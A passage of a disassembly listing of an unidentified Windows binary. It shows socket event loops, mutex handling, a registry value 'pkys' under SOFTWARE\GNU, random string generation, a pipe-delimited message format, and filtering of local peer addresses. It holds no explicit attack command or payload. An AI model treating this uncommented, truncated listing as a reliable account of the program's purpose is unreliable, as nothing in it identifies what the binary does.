		mov	ax, [esp+4+arg_0]
		mov	[esi+114h], ax
		call	sub_416AC4
		mov	eax, esi
		pop	esi
		retn	4
sub_40B74E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B78B	proc near		; DATA XREF: .text:off_430518o

var_5BC		= byte ptr -5BCh
var_164		= dword	ptr -164h
var_150		= dword	ptr -150h
var_48		= byte ptr -48h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 5BCh
		push	ebx
		push	esi
		mov	ebx, ecx
		push	edi
		lea	esi, [ebp+var_5BC]
		mov	[ebp+var_8], ebx
		call	sub_414878
		xor	ecx, ecx
		inc	ecx
		mov	eax, esi
		call	sub_4148AA
		mov	ax, [ebx+114h]
		lea	esi, [ebx+14h]
		push	esi
		lea	ecx, [ebp+var_5BC]
		mov	[ebp+var_4], esi
		call	sub_414A81
		test	eax, eax
		jnz	loc_40B867
		push	20h
		pop	ebx
		lea	esi, [ebp+var_5BC]
		call	sub_414AE0
		push	2
		push	[ebp+var_164]
		call	ds:dword_4292A0	; shutdown
		mov	eax, [ebp+var_150]
		mov	[ebp+var_C], eax
		mov	[ebp+var_14], 1388h
		call	ds:dword_4290A8	; GetTickCount
		mov	ebx, ds:dword_4292CC
		mov	[ebp+var_1C], eax
		xor	eax, eax
		push	eax
		mov	esi, 3E8h
		push	esi
		mov	[ebp+var_18], eax
		push	eax
		jmp	short loc_40B82B
; ---------------------------------------------------------------------------

loc_40B81C:				; CODE XREF: sub_40B78B+BBj
		lea	eax, [ebp+var_1C]
		call	sub_416B46
		test	eax, eax
		jnz	short loc_40B855
		push	eax
		push	esi
		push	eax

loc_40B82B:				; CODE XREF: sub_40B78B+8Fj
		lea	eax, [ebp+var_C]
		push	eax
		push	1
		call	ebx	; WSAWaitForMultipleEvents
		lea	eax, [ebp+var_48]
		lea	edi, [ebp+var_5BC]
		push	eax
		call	sub_414C04
		test	[ebp+var_48], 20h
		jz	short loc_40B81C
		push	[ebp+var_4]
		mov	edi, offset dword_438188
		call	sub_4072DE

loc_40B855:				; CODE XREF: sub_40B78B+9Bj
		push	3
		lea	eax, [ebp+var_5BC]
		call	sub_414D44
		mov	ebx, [ebp+var_8]
		jmp	short loc_40B881
; ---------------------------------------------------------------------------

loc_40B867:				; CODE XREF: sub_40B78B+41j
		push	offset dword_42FE10
		push	esi
		call	sub_41C930
		pop	ecx
		pop	ecx
		push	3
		lea	eax, [ebp+var_5BC]
		call	sub_414D44

loc_40B881:				; CODE XREF: sub_40B78B+DAj
		mov	eax, [ebx+10h]
		push	0FFFFFFFFh
		push	dword ptr [eax+7D8h]
		call	ds:dword_429128	; WaitForSingleObject
		push	[ebp+var_4]
		mov	edi, [ebx+10h]
		push	2
		push	offset aDS	; "%d|%s\r\n"
		add	edi, 2Ch
		call	sub_414CA6
		mov	eax, [ebx+10h]
		and	dword ptr [eax+0A48h], 0
		mov	eax, [ebx+10h]
		add	esp, 0Ch
		push	dword ptr [eax+7D8h]
		call	ds:dword_429138	; ReleaseMutex
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40B78B	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B8C8	proc near		; CODE XREF: sub_40B543+2Ap
		push	0
		push	dword ptr [eax+10h]
		call	ds:dword_429090	; InterlockedExchange
		retn
sub_40B8C8	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B8D4	proc near		; CODE XREF: sub_4142D6+3EEp
		mov	eax, offset loc_427A2D
		call	sub_41E550
		sub	esp, 404h
		push	ebx
		mov	ebx, [ebp+8]
		or	dword ptr [ebx+0Ch], 0FFFFFFFFh
		push	esi
		push	edi
		xor	edi, edi
		mov	[ebx+4], edi
		mov	[ebp-4], edi
		lea	esi, [ebx+10h]
		mov	dword ptr [ebx], offset	off_43050C
		call	sub_414878
		lea	eax, [ebx+584h]
		push	eax
		call	sub_40C251
		cmp	ds:dword_43810C, edi
		jnz	loc_40B9B4
		push	404h
		push	edi
		push	offset dword_435F80
		mov	ds:dword_43810C, ebx
		mov	ds:dword_435F70, edi
		mov	ds:dword_435F74, edi
		mov	ds:dword_435F78, edi
		mov	ds:dword_435F68, edi
		mov	ds:dword_435F6C, edi
		call	sub_41C6D0
		push	0B04h
		push	edi
		push	offset dword_436388
		call	sub_41C6D0
		lea	eax, [ebp-410h]
		push	offset dword_434150
		push	eax
		mov	eax, 1000h
		call	sub_404D91
		mov	ecx, 101h
		mov	esi, eax
		mov	edi, offset dword_436E90
		add	esp, 20h
		rep movsd
		xor	esi, esi

loc_40B989:				; CODE XREF: sub_40B8D4+CAj
		push	7Ah
		push	61h
		call	sub_40D864
		mov	ds:byte_435F54[esi], al
		inc	esi
		cmp	esi, 10h
		pop	ecx
		pop	ecx
		jb	short loc_40B989
		cmp	dword ptr [ebp+0Ch], 0
		mov	byte ptr ds:dword_435F64, 0
		jz	short loc_40B9B4
		mov	esi, ebx
		call	sub_416AC4

loc_40B9B4:				; CODE XREF: sub_40B8D4+42j
					; sub_40B8D4+D7j
		mov	ecx, [ebp-0Ch]
		pop	edi
		pop	esi
		mov	eax, ebx
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn	8
sub_40B8D4	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B9C7	proc near		; DATA XREF: .text:00430510o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_40B9F6
		test	[esp+4+arg_0], 1
		jz	short loc_40B9DD
		push	esi
		call	sub_41C7B8
		pop	ecx

loc_40B9DD:				; CODE XREF: sub_40B9C7+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_40B9C7	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B9E3	proc near		; CODE XREF: sub_407ACB+22p
					; sub_40B9F6+17p ...
		push	esi
		lea	esi, [edi+4]
		call	sub_413A1C
		push	dword ptr [edi]
		call	ds:dword_4290F0	; CloseHandle
		pop	esi
		retn
sub_40B9E3	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B9F6	proc near		; CODE XREF: sub_40B9C7+3p
		push	edi
		push	3
		lea	eax, [esi+10h]
		mov	dword ptr [esi], offset	off_43050C
		call	sub_414D44
		lea	edi, [esi+584h]
		call	sub_40B9E3
		mov	ecx, esi
		pop	edi
		jmp	sub_416AA6
sub_40B9F6	endp

; ---------------------------------------------------------------------------

loc_40BA1A:				; DATA XREF: .text:off_43050Co
		mov	eax, offset loc_427F66
		call	sub_41E550
		sub	esp, 0EA4h
		push	ebx
		push	esi
		mov	ebx, ecx
		push	edi
		push	ebx
		mov	[ebp-10h], ebx
		call	sub_40C14B
		mov	eax, [ebx+47Ch]
		and	dword ptr [ebp-18h], 0
		mov	[ebp-30h], eax
		mov	dword ptr [ebp-38h], 1
		call	ds:dword_4290A8	; GetTickCount
		and	dword ptr [ebp-3Ch], 0
		mov	[ebp-40h], eax

loc_40BA59:				; CODE XREF: .text:0040BC3Cj
					; .text:0040BC44j ...
		xor	esi, esi
		cmp	ds:dword_438108, esi
		jnz	loc_40BB45
		cmp	[ebp-18h], esi
		jnz	loc_40BB45
		lea	eax, [ebp-40h]
		call	sub_416B46
		test	eax, eax
		jz	loc_40BB45
		mov	dword ptr [ebp-38h], 4E20h
		call	ds:dword_4290A8	; GetTickCount
		cmp	ds:dword_435F64, esi
		mov	[ebp-40h], eax
		mov	[ebp-3Ch], esi
		jz	short loc_40BAA9
		cmp	ds:dword_435F78, 5
		jb	short loc_40BAB5
		jmp	loc_40BB45
; ---------------------------------------------------------------------------

loc_40BAA9:				; CODE XREF: .text:0040BA99j
		cmp	ds:dword_438108, esi
		jnz	loc_40BB45

loc_40BAB5:				; CODE XREF: .text:0040BAA2j
		lea	eax, [ebp-93Ch]
		push	eax
		call	sub_408F53
		push	48h
		pop	ecx
		mov	esi, eax
		lea	eax, [ebp-1A8h]
		lea	edi, [ebp-1A8h]
		mov	dword ptr [esp], offset	aNull ;	"null"
		push	eax
		rep movsd
		call	sub_41C730
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_40BB45
		lea	eax, [ebp-1A8h]
		push	eax
		call	ds:dword_429270	; inet_addr
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-28h], eax
		jnz	short loc_40BB33
		push	1Ch
		call	sub_41BA91
		pop	ecx
		mov	[ebp-14h], eax
		and	dword ptr [ebp-4], 0
		test	eax, eax
		jz	short loc_40BB26
		mov	eax, [ebx+8]
		lea	ecx, [ebp-28h]
		push	ecx
		lea	ecx, [ebp-1A8h]
		push	ecx
		push	eax
		push	dword ptr [ebp-14h]
		call	sub_414DCD

loc_40BB26:				; CODE XREF: .text:0040BB0Dj
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	dword ptr [ebp-18h], 1
		jmp	short loc_40BB45
; ---------------------------------------------------------------------------

loc_40BB33:				; CODE XREF: .text:0040BAFAj
		push	0
		push	0
		push	401h
		push	dword ptr [ebx+8]
		call	ds:dword_4291FC	; PostThreadMessageA

loc_40BB45:				; CODE XREF: .text:0040BA61j
					; .text:0040BA6Aj ...
		push	1
		xor	esi, esi
		push	esi
		push	esi
		push	esi
		lea	eax, [ebp-5Ch]
		push	eax
		call	ds:dword_429230	; PeekMessageA
		test	eax, eax
		jz	loc_40BC22
		cmp	dword ptr [ebp-58h], 401h
		jnz	loc_40BC22
		cmp	[ebp-54h], esi
		mov	[ebp-18h], esi
		jnz	loc_40BC22
		cmp	ds:dword_438108, esi
		jnz	loc_40BC22
		lea	esi, [ebp-0EB0h]
		call	sub_414878
		xor	ecx, ecx
		inc	ecx
		mov	eax, esi
		call	sub_4148AA
		push	10h
		pop	ebx
		call	sub_414AE0
		mov	ecx, [ebp-10h]
		lea	eax, [ebp-0EB0h]
		push	eax
		add	ecx, 584h
		call	loc_40C3CF
		lea	esi, [ebp-1A8h]
		mov	ebx, eax
		call	sub_409431
		sub	esp, 120h
		push	48h
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40925E
		mov	eax, [ebx+15Ch]
		push	48h
		pop	ecx
		sub	eax, 4
		mov	eax, [eax]
		mov	edi, esp
		lea	esi, [ebp-1A8h]
		rep movsd
		call	sub_40A3B3
		mov	eax, [ebx+15Ch]
		push	dword ptr [ebp-0A8h]
		sub	eax, 4
		cmp	ds:dword_435F64, 0
		push	dword ptr [ebp-28h]
		mov	edi, [eax]
		setz	bl
		inc	bl
		call	ds:dword_429274	; inet_ntoa
		push	eax
		mov	cl, bl
		call	sub_409A9C
		mov	ebx, [ebp-10h]

loc_40BC22:				; CODE XREF: .text:0040BB58j
					; .text:0040BB65j ...
		push	0
		push	3E8h
		push	0
		lea	eax, [ebp-30h]
		push	eax
		push	1
		call	ds:dword_4292CC	; WSAWaitForMultipleEvents
		cmp	eax, 102h
		jz	loc_40BA59
		test	eax, eax
		jnz	loc_40BA59
		lea	eax, [ebp-88h]
		lea	edi, [ebx+10h]
		push	eax
		call	sub_414C04
		test	byte ptr [ebp-88h], 8
		jz	loc_40BA59
		lea	esi, [ebp-81Ch]
		call	sub_414878
		push	edi
		lea	esi, [ebp-81Ch]
		call	sub_414A1F
		push	100h
		lea	eax, [ebp-2A8h]
		push	eax
		lea	eax, [ebp-81Ch]
		push	eax
		call	sub_414B20
		xor	edi, edi
		cmp	ds:dword_435F64, edi
		jz	loc_40BDD1
		lea	eax, [ebp-2A8h]
		push	eax
		mov	esi, offset dword_438174
		call	sub_407331
		test	eax, eax
		jnz	loc_40BDD1
		lea	eax, [ebx+588h]
		mov	[ebp-14h], edi
		call	sub_408AF0
		mov	[ebp-20h], eax
		xor	eax, eax
		cmp	[ebp-20h], edi
		mov	[ebp-24h], eax
		jbe	loc_40BDA6

loc_40BCDB:				; CODE XREF: .text:0040BD96j
		mov	esi, eax
		mov	eax, [ebx+58Ch]
		shl	esi, 2
		add	eax, esi
		mov	eax, [eax]
		push	0FFFFFFFFh
		push	dword ptr [eax+10h]
		call	ds:dword_429128	; WaitForSingleObject
		mov	eax, [ebx+58Ch]
		add	eax, esi
		mov	eax, [eax]
		mov	eax, [eax+48h]
		xor	ecx, ecx
		test	eax, eax
		mov	[ebp-2Ch], eax
		mov	[ebp-1Ch], ecx
		jbe	short loc_40BD79

loc_40BD0E:				; CODE XREF: .text:0040BD77j
		mov	eax, [ebx+58Ch]
		add	eax, esi
		mov	eax, [eax]
		mov	eax, [eax+158h]
		lea	eax, [eax+ecx*4]
		mov	eax, [eax]
		cmp	dword ptr [eax+5A4h], 6
		jnz	short loc_40BD6D
		cmp	dword ptr [eax+7B8h], 1
		jnz	short loc_40BD6D
		cmp	byte ptr [eax+7B4h], 1
		jz	short loc_40BD6D
		add	eax, 2Ch
		push	eax
		call	sub_414B44
		mov	edi, eax
		lea	eax, [ebp-81Ch]
		push	eax
		call	sub_414B44
		cmp	eax, edi
		jnz	short loc_40BD6D
		push	3
		lea	eax, [ebp-81Ch]
		mov	dword ptr [ebp-14h], 1
		call	sub_414D44

loc_40BD6D:				; CODE XREF: .text:0040BD2Aj
					; .text:0040BD33j ...
		mov	ecx, [ebp-1Ch]
		inc	ecx
		cmp	ecx, [ebp-2Ch]
		mov	[ebp-1Ch], ecx
		jb	short loc_40BD0E

loc_40BD79:				; CODE XREF: .text:0040BD0Cj
		mov	eax, [ebx+58Ch]
		add	eax, esi
		mov	eax, [eax]
		push	dword ptr [eax+10h]
		call	ds:dword_429138	; ReleaseMutex
		mov	eax, [ebp-24h]
		inc	eax
		cmp	eax, [ebp-20h]
		mov	[ebp-24h], eax
		jb	loc_40BCDB
		cmp	dword ptr [ebp-14h], 0
		jnz	loc_40BA59

loc_40BDA6:				; CODE XREF: .text:0040BCD5j
		push	21h
		pop	ebx
		lea	esi, [ebp-81Ch]
		call	sub_414AE0
		mov	ecx, [ebp-10h]
		lea	eax, [ebp-81Ch]
		push	eax
		add	ecx, 584h
		call	loc_40C3CF
		mov	ebx, [ebp-10h]
		jmp	loc_40BA59
; ---------------------------------------------------------------------------

loc_40BDD1:				; CODE XREF: .text:0040BC9Dj
					; .text:0040BCB6j
		push	3
		lea	eax, [ebp-81Ch]
		call	sub_414D44
		jmp	loc_40BA59

; =============== S U B	R O U T	I N E =======================================



sub_40BDE3	proc near		; CODE XREF: sub_40C14B+Fp
		mov	eax, offset loc_427EF8
		call	sub_41E550
		sub	esp, 5Ch
		push	ebx
		push	esi
		push	edi
		push	offset aSoftwareGnu ; "SOFTWARE\\GNU"
		push	80000001h
		lea	esi, [ebp-20h]
		call	sub_40D8DC
		and	dword ptr [ebp-4], 0
		mov	esi, offset aPkys ; "pkys"
		push	esi
		lea	eax, [ebp-20h]
		push	eax
		call	sub_40D93E
		test	eax, eax
		jnz	short loc_40BE28
		push	40h
		push	esi
		lea	eax, [ebp-20h]
		push	eax
		call	sub_40DA4A

loc_40BE28:				; CODE XREF: sub_40BDE3+37j
		push	esi
		lea	eax, [ebp-20h]
		push	eax
		call	sub_40DA68
		mov	edi, eax
		shl	edi, 3
		mov	eax, 200h
		cmp	edi, eax
		jnb	short loc_40BE42
		mov	edi, eax

loc_40BE42:				; CODE XREF: sub_40BDE3+5Bj
		mov	eax, 1000h
		cmp	edi, eax
		jbe	short loc_40BE4D
		mov	edi, eax

loc_40BE4D:				; CODE XREF: sub_40BDE3+66j
		lea	esi, [ebp-68h]
		mov	ds:dword_435F80, edi
		mov	[ebp-14h], edi
		mov	dword ptr [ebp-10h], 1
		mov	ds:dword_436388, edi
		call	sub_418DCE
		push	dword ptr [ebp-68h]
		call	sub_41BAB5
		xor	esi, esi
		cmp	[ebp-68h], esi
		pop	ecx
		mov	ebx, eax
		jbe	short loc_40BE94

loc_40BE7D:				; CODE XREF: sub_40BDE3+AFj
		push	0FFh
		push	0
		call	sub_40D864
		mov	[esi+ebx], al
		inc	esi
		cmp	esi, [ebp-68h]
		pop	ecx
		pop	ecx
		jb	short loc_40BE7D

loc_40BE94:				; CODE XREF: sub_40BDE3+98j
		push	dword ptr [ebp-68h]
		lea	esi, [ebp-68h]
		push	ebx
		call	sub_418DEB
		push	ebx
		call	sub_41CA28
		and	dword ptr [ebp-28h], 0
		add	esp, 0Ch
		call	ds:dword_4290A8	; GetTickCount
		and	dword ptr [ebp-2Ch], 0
		mov	[ebp-30h], eax
		mov	eax, esi
		push	eax
		lea	eax, [ebp-14h]
		push	eax
		push	offset dword_435F80
		mov	ecx, offset dword_436388
		call	sub_4187C5
		add	esp, 0Ch
		lea	eax, [ebp-30h]
		call	sub_416B68
		cmp	eax, 3E8h
		push	14h
		push	1
		jnb	short loc_40BEED
		call	sub_40D864
		jmp	short loc_40BEF4
; ---------------------------------------------------------------------------

loc_40BEED:				; CODE XREF: sub_40BDE3+101j
		call	sub_40D864
		neg	eax

loc_40BEF4:				; CODE XREF: sub_40BDE3+108j
		pop	ecx
		lea	eax, [edi+eax*8]
		pop	ecx
		shr	eax, 3
		push	eax
		push	offset aPkys	; "pkys"
		lea	eax, [ebp-20h]
		push	eax
		call	sub_40DA4A
		lea	eax, [ebp-20h]
		call	sub_40D8F7
		mov	ecx, [ebp-0Ch]
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn
sub_40BDE3	endp


; =============== S U B	R O U T	I N E =======================================



sub_40BF22	proc near		; CODE XREF: sub_40EF9A+3p
		mov	eax, ds:dword_438108
		test	eax, eax
		jz	short loc_40BF35
		add	eax, 2Ch
		push	eax
		call	sub_414B44
		retn
; ---------------------------------------------------------------------------

loc_40BF35:				; CODE XREF: sub_40BF22+7j
		xor	eax, eax
		retn
sub_40BF22	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BF38	proc near		; CODE XREF: .text:0040A6F6p
					; .text:0040ADCFp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	esi
		xor	esi, esi
		cmp	[ebp+arg_8], esi
		mov	[ebp+var_8], esi
		jz	short loc_40BF4E
		dec	[ebp+arg_8]
		jmp	short loc_40BF55
; ---------------------------------------------------------------------------

loc_40BF4E:				; CODE XREF: sub_40BF38+Fj
		mov	[ebp+var_8], 1

loc_40BF55:				; CODE XREF: sub_40BF38+14j
		lea	eax, [ebx+588h]
		mov	[ebp+var_1], 0
		call	sub_408AF0
		cmp	eax, esi
		mov	[ebp+var_18], eax
		mov	[ebp+var_C], esi
		jbe	loc_40C146
		push	edi

loc_40BF73:				; CODE XREF: sub_40BF38+207j
		mov	eax, [ebx+58Ch]
		shl	esi, 2
		add	eax, esi
		mov	eax, [eax]
		push	0FFFFFFFFh
		push	dword ptr [eax+10h]
		call	ds:dword_429128	; WaitForSingleObject
		mov	eax, [ebx+58Ch]
		add	eax, esi
		mov	eax, [eax]
		mov	eax, [eax+48h]
		xor	edx, edx
		test	eax, eax
		mov	[ebp+var_14], eax
		mov	[ebp+var_10], edx
		jbe	loc_40C11D

loc_40BFA8:				; CODE XREF: sub_40BF38+1DFj
		mov	ecx, [ebp+var_C]
		mov	eax, [ebx+58Ch]
		shl	ecx, 2
		add	eax, ecx
		mov	eax, [eax]
		mov	eax, [eax+158h]
		lea	eax, [eax+edx*4]
		mov	esi, [eax]
		cmp	esi, [ebp+arg_0]
		jz	loc_40C10D
		cmp	dword ptr [esi+5A4h], 6
		jnz	loc_40C10D
		xor	ecx, ecx
		cmp	[ebp+arg_18], ecx
		jz	short loc_40C025
		mov	al, [esi+7B4h]
		cmp	al, 3
		jnz	short loc_40BFEF
		cmp	[ebp+var_8], ecx
		jz	short loc_40BFF3

loc_40BFEF:				; CODE XREF: sub_40BF38+B0j
		cmp	al, 2
		jnz	short loc_40C025

loc_40BFF3:				; CODE XREF: sub_40BF38+B5j
		push	[ebp+arg_8]
		lea	edi, [esi+2Ch]
		push	[ebp+arg_4]
		mov	esi, [ebp+arg_C]
		push	esi
		call	sub_41C350
		pop	ecx
		inc	eax
		push	eax
		push	[ebp+arg_14]
		push	0Ah
		push	offset aDXDSD01	; "%d|%X|%d|%s|%d|0|1\r\n"
		call	sub_414CA6
		push	esi
		call	sub_41C350
		add	esp, 1Ch
		jmp	loc_40C0F0
; ---------------------------------------------------------------------------

loc_40C025:				; CODE XREF: sub_40BF38+A6j
					; sub_40BF38+B9j
		cmp	[ebp+var_8], ecx
		jnz	short loc_40C090
		cmp	byte ptr [esi+7B4h], 3
		jnz	short loc_40C090
		push	[ebp+arg_8]
		lea	edi, [esi+2Ch]
		push	[ebp+arg_4]
		push	[ebp+arg_C]
		call	sub_41C350
		pop	ecx
		inc	eax
		push	eax
		push	[ebp+arg_14]
		push	0Ah
		push	offset aDXDSD00	; "%d|%X|%d|%s|%d|0|0\r\n"
		call	sub_414CA6
		add	esp, 18h
		push	200h
		push	[ebp+arg_10]
		call	sub_414C2D
		push	[ebp+arg_C]
		call	sub_41C350
		test	eax, eax
		pop	ecx
		jbe	short loc_40C085
		push	[ebp+arg_C]
		call	sub_41C350
		pop	ecx
		push	eax
		push	[ebp+arg_C]
		call	sub_414C2D

loc_40C085:				; CODE XREF: sub_40BF38+139j
		push	1
		lea	eax, [ebp+var_1]
		push	eax
		call	sub_414C2D

loc_40C090:				; CODE XREF: sub_40BF38+F0j
					; sub_40BF38+F9j
		push	offset dword_4304BC
		push	[ebp+arg_4]
		call	sub_41C730
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_40C10D
		cmp	byte ptr [esi+7B4h], 2
		jnz	short loc_40C10D
		cmp	dword ptr [esi+7B8h], 1
		jnz	short loc_40C10D
		push	[ebp+arg_8]
		lea	edi, [esi+2Ch]
		push	[ebp+arg_4]
		mov	esi, [ebp+arg_C]
		push	esi
		call	sub_41C350
		pop	ecx
		inc	eax
		push	eax
		push	[ebp+arg_14]
		push	0Ah
		push	offset aDXDSD00	; "%d|%X|%d|%s|%d|0|0\r\n"
		call	sub_414CA6
		add	esp, 18h
		push	200h
		push	[ebp+arg_10]
		call	sub_414C2D
		push	esi
		call	sub_41C350
		pop	ecx

loc_40C0F0:				; CODE XREF: sub_40BF38+E8j
		test	eax, eax
		jbe	short loc_40C102
		push	esi
		call	sub_41C350
		pop	ecx
		push	eax
		push	esi
		call	sub_414C2D

loc_40C102:				; CODE XREF: sub_40BF38+1BAj
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		call	sub_414C2D

loc_40C10D:				; CODE XREF: sub_40BF38+8Ej
					; sub_40BF38+9Bj ...
		mov	edx, [ebp+var_10]
		inc	edx
		cmp	edx, [ebp+var_14]
		mov	[ebp+var_10], edx
		jb	loc_40BFA8

loc_40C11D:				; CODE XREF: sub_40BF38+6Aj
		mov	esi, [ebp+var_C]
		mov	eax, [ebx+58Ch]
		mov	ecx, esi
		shl	ecx, 2
		add	eax, ecx
		mov	eax, [eax]
		push	dword ptr [eax+10h]
		call	ds:dword_429138	; ReleaseMutex
		inc	esi
		cmp	esi, [ebp+var_18]
		mov	[ebp+var_C], esi
		jb	loc_40BF73
		pop	edi

loc_40C146:				; CODE XREF: sub_40BF38+34j
		pop	esi
		leave
		retn	1Ch
sub_40BF38	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C14B	proc near		; CODE XREF: .text:0040BA33p
		mov	eax, offset loc_427F52
		call	sub_41E550
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		call	sub_40BDE3
		push	offset a127_	; "127.*"
		mov	edi, offset dword_438174
		call	sub_4072DE
		push	offset aLocalhost ; "localhost"
		call	sub_4072DE
		mov	edi, [ebp+8]
		xor	ecx, ecx
		add	edi, 10h
		inc	ecx
		mov	eax, edi
		call	sub_4148AA
		push	8
		pop	ebx
		mov	esi, edi
		call	sub_414AE0
		lea	esi, [ebp-14h]
		call	sub_405E63
		and	dword ptr [ebp-4], 0
		push	offset aNull_1	; "null"
		push	6
		call	sub_4048C1
		push	eax
		mov	eax, esi
		call	sub_405EF4
		call	sub_4048C1
		mov	ecx, edi
		call	sub_414997
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40C1DD
		push	4
		mov	eax, edi
		call	sub_414A0C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40C1DD
		mov	ds:dword_435F64, 1
		jmp	short loc_40C1E4
; ---------------------------------------------------------------------------

loc_40C1DD:				; CODE XREF: sub_40C14B+76j
					; sub_40C14B+84j
		and	ds:dword_435F64, 0

loc_40C1E4:				; CODE XREF: sub_40C14B+90j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	esi, [ebp-14h]
		call	sub_405EDB
		mov	ecx, [ebp-0Ch]
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn	4
sub_40C14B	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C201	proc near		; CODE XREF: .text:0040A6C2p
		mov	eax, offset loc_427EE6
		call	sub_41E550
		push	ecx
		push	esi
		push	edi
		push	18h
		call	sub_41BA91
		pop	ecx
		mov	[ebp-10h], eax
		xor	esi, esi
		cmp	eax, esi
		mov	[ebp-4], esi
		jz	short loc_40C22D
		push	dword ptr [ebp+8]
		push	eax
		call	sub_411299
		mov	esi, eax

loc_40C22D:				; CODE XREF: sub_40C201+1Fj
		or	dword ptr [ebp-4], 0FFFFFFFFh
		call	sub_416AC4
		push	esi
		mov	edi, offset dword_4381B8
		call	sub_4138D7
		mov	ecx, [ebp-0Ch]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_40C201	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C251	proc near		; CODE XREF: sub_40B8D4+37p
		mov	eax, offset loc_427D24
		call	sub_41E550
		push	ecx
		push	ebx
		mov	ebx, [ebp+8]
		push	esi
		push	edi
		mov	esi, ebx
		call	sub_4099E5
		xor	esi, esi
		lea	edi, [ebx+4]
		mov	[ebp-4], esi
		mov	[edi+4], esi
		mov	[edi+8], esi
		mov	[edi+0Ch], esi
		push	164h
		mov	byte ptr [ebp-4], 1
		call	sub_41BA91
		pop	ecx
		mov	[ebp-10h], eax
		cmp	eax, esi
		mov	byte ptr [ebp-4], 2
		jz	short loc_40C29C
		push	eax
		call	sub_40C31C
		jmp	short loc_40C29E
; ---------------------------------------------------------------------------

loc_40C29C:				; CODE XREF: sub_40C251+41j
		xor	eax, eax

loc_40C29E:				; CODE XREF: sub_40C251+49j
		mov	byte ptr [ebp-4], 1
		mov	[ebp-10h], eax
		lea	esi, [ebp-10h]
		mov	eax, edi
		call	sub_40C2E7
		mov	ecx, [ebp-0Ch]
		pop	edi
		pop	esi
		mov	eax, ebx
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn	4
sub_40C251	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C2C2	proc near		; CODE XREF: .text:0040A73Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	edi
		mov	edi, [esp+4+arg_0]
		cmp	edi, [esp+4+arg_4]
		jz	short loc_40C2DF
		mov	eax, [esi+8]
		push	edi
		push	[esp+8+arg_4]
		call	sub_414283
		pop	ecx
		pop	ecx
		mov	[esi+8], eax

loc_40C2DF:				; CODE XREF: sub_40C2C2+9j
		mov	[ebx], edi
		mov	eax, ebx
		pop	edi
		retn	8
sub_40C2C2	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C2E7	proc near		; CODE XREF: sub_407D47+5Ap
					; sub_407DB9+B1p ...

var_4		= byte ptr -4

		push	ecx
		push	ebx
		push	edi
		mov	edi, eax
		call	sub_408AF0
		mov	ebx, eax
		mov	eax, edi
		call	sub_4073E5
		cmp	ebx, eax
		mov	eax, [edi+8]
		jnb	short loc_40C30D
		mov	ecx, [esi]
		mov	[eax], ecx
		add	eax, 4
		mov	[edi+8], eax
		jmp	short loc_40C318
; ---------------------------------------------------------------------------

loc_40C30D:				; CODE XREF: sub_40C2E7+18j
		push	esi
		push	eax
		lea	ebx, [esp+14h+var_4]
		call	sub_4073F8

loc_40C318:				; CODE XREF: sub_40C2E7+24j
		pop	edi
		pop	ebx
		pop	ecx
		retn
sub_40C2E7	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C31C	proc near		; CODE XREF: sub_40C251+44p
					; sub_40C38F+CEp

arg_10		= dword	ptr  14h

		mov	eax, offset loc_427C67
		call	sub_41E550
		push	esi
		mov	esi, [esp+4+arg_10]
		push	800h
		push	esi
		call	sub_4150A5
		lea	eax, [esi+154h]
		mov	dword ptr [esi], offset	off_430530
		xor	ecx, ecx
		mov	[eax+4], ecx
		mov	[eax+8], ecx
		mov	[eax+0Ch], ecx
		mov	ecx, [esp+4]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_40C31C	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		push	edi
		mov	edi, ecx
		call	sub_40C37B
		test	byte ptr [esp+8], 1
		jz	short loc_40C375
		push	edi
		call	sub_41C7B8
		pop	ecx

loc_40C375:				; CODE XREF: .text:0040C36Cj
		mov	eax, edi
		pop	edi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_40C37B	proc near		; CODE XREF: .text:0040C362p
		push	esi
		lea	esi, [edi+154h]
		call	sub_413A1C
		mov	ecx, edi
		pop	esi
		jmp	sub_415135
sub_40C37B	endp


; =============== S U B	R O U T	I N E =======================================



